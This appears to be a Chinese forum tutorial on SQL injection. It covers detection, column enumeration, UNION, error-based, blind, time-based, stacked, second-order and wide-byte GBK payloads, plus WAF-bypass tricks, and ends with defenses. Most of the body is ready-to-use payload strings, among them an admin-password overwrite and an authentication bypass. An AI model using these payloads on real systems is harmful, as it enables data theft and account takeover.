118
社区成员




SQL 注入(SQLi)是最常见也最危险的 Web 攻击方式之一,指攻击者通过构造恶意 SQL 语句,提交到服务端,最终被拼接到数据库查询中执行,从而实现非法读取、篡改、删除数据库信息,甚至远程控制服务器。
拼接 SQL 时未对用户输入做安全过滤或转义,导致 SQL 语句结构被篡改。
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = '$id'";
如果用户输入:1' or '1'='1
,则最终查询语句变成:
SELECT * FROM users WHERE id = '1' or '1'='1'
✔️ 语句始终为真,返回所有用户数据,造成信息泄露。
掌握 SQL 注入并非死记 payload,而是学会分析流程,逐步识别是否可注入及如何利用。
🔍 测试方法:
尝试在 URL 或参数中插入 '
, "
, --
, and 1=1
, and 1=2
等常见语句,观察页面变化。
📌 示例:
?id=1' → 页面报错,结构破坏
?id=1 and 1=1 → 页面正常
?id=1 and 1=2 → 页面异常或空白
✔️ 如果页面结构变化或出错,说明用户输入影响了 SQL 查询,可能存在注入。
🔍 目的:
判断后端 SQL 是否对输入加了引号。
📌 测试方法:
?id=1 → 页面正常
?id=1' → 页面报错(字符型)
?id='1' → 页面正常(字符型)
✔️ 若加引号报错,说明该参数为数字型,直接拼接;若加引号正常运行,为字符型。
🔍 方法:
利用 order by
不断加大序号直到出错。
📌 示例:
?id=1 order by 1 → 正常
?id=1 order by 2 → 正常
?id=1 order by 5 → 报错 → 说明最多4列
✔️ 得知查询语句返回的列数为 4。
🔍 方法:
构造 UNION SELECT
,观察哪些字段回显到页面。
📌 示例:
?id=-1 union select 1,2,3,4
页面出现 3
→ 第3列可回显,我们可以将其替换为敏感函数,如 database()
。
?id=-1 union select 1,database(),user(),4
✔️ 页面返回数据库名、用户名等信息,验证成功。
🔍 条件:
后端查询结果会显示在页面上;
可通过修改 SQL 查询结构返回数据。
📌 语句:
?id=1' and 1=1 --+ → 页面正常
?id=1' and 1=2 --+ → 页面异常
📌 列数判断:
?id=1 order by 3 → 正常
?id=1 order by 5 → 报错
📌 可回显字段:
?id=-1 union select 1,2,3,4 -- 看哪个字段回显
📌 输出数据库信息:
?id=-1 union select 1,database(),user(),4
攻击者利用数据库报错信息获取数据。
常用函数对比:
函数名 | 适用数据库 | 功能描述 |
---|---|---|
extractvalue | MySQL | XML 错误中插入查询内容 |
updatexml | MySQL | 同 extractvalue |
floor+rand | MySQL | 分组碰撞制造报错返回 |
📌 示例1:extractvalue
?id=1' union select 1,extractvalue(1,concat(0x7e,(select database()))),3--+
📌 示例2:floor + rand()
?id=1' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=database()),floor(rand(0)*2)) a from information_schema.tables group by a--+
📌 示例:判断数据库名长度
?id=1' and length(database())=8 --+ ✔️ 正确 ?id=1' and length(database())=5 --+ ❌ 页面结构变化
📌 字符爆破:
?id=1' and ascii(substr(database(),1,1))=115 --+ 判断首字符是否是 's'
依赖 SQL 的延时函数(如 sleep()
)判断逻辑。
📌 示例(MySQL):
?id=1' and if(substr(database(),1,1)='s',sleep(5),0)--+
✔️ 若延迟响应,说明猜测正确。
多个 SQL 语句用分号 ;
分隔执行,仅部分数据库支持(如 SQL Server)。
📌 示例:
?id=1'; update users set password='1234' where username='admin' --+
⚠️ MySQL 默认禁用该特性,SQL Server 支持。
攻击载荷先被存入数据库,在另一个功能中再次被拼接执行。
📌 示例流程:
注册账号:admin'#
后台 SQL 查询:
SELECT * FROM users WHERE username = '$input'
最终变成:
SELECT * FROM users WHERE username = 'admin'--'
✔️ 密码部分被注释,直接绕过认证。
发生在 PHP + MySQL 且字符集为 GBK 的场景下,\
反斜杠可能失效。
📌 示例:
?id=1%df' union select 1,2,3--+
✔️ %df
与 '
合成一个合法 GBK 字符,绕过转义。
绕过类型 | 方法示例 | 描述 |
---|---|---|
空格绕过 | /**/ 、${IFS} | 使用注释或替代空格字符 |
大小写混合 | UnIoN SeLeCt | 混淆规则匹配 |
函数双写 | selselectect | 混淆关键字 |
内联注释 | /*!union*/ select | 利用 MySQL 内联注释 |
✅ 使用 预编译语句(如 PreparedStatement、PDO);
✅ 对用户输入严格类型校验与过滤;
✅ 禁止拼接 SQL 字符串;
✅ 使用 白名单机制 限制参数范围;
✅ 数据库账号最小权限原则,避免使用 root。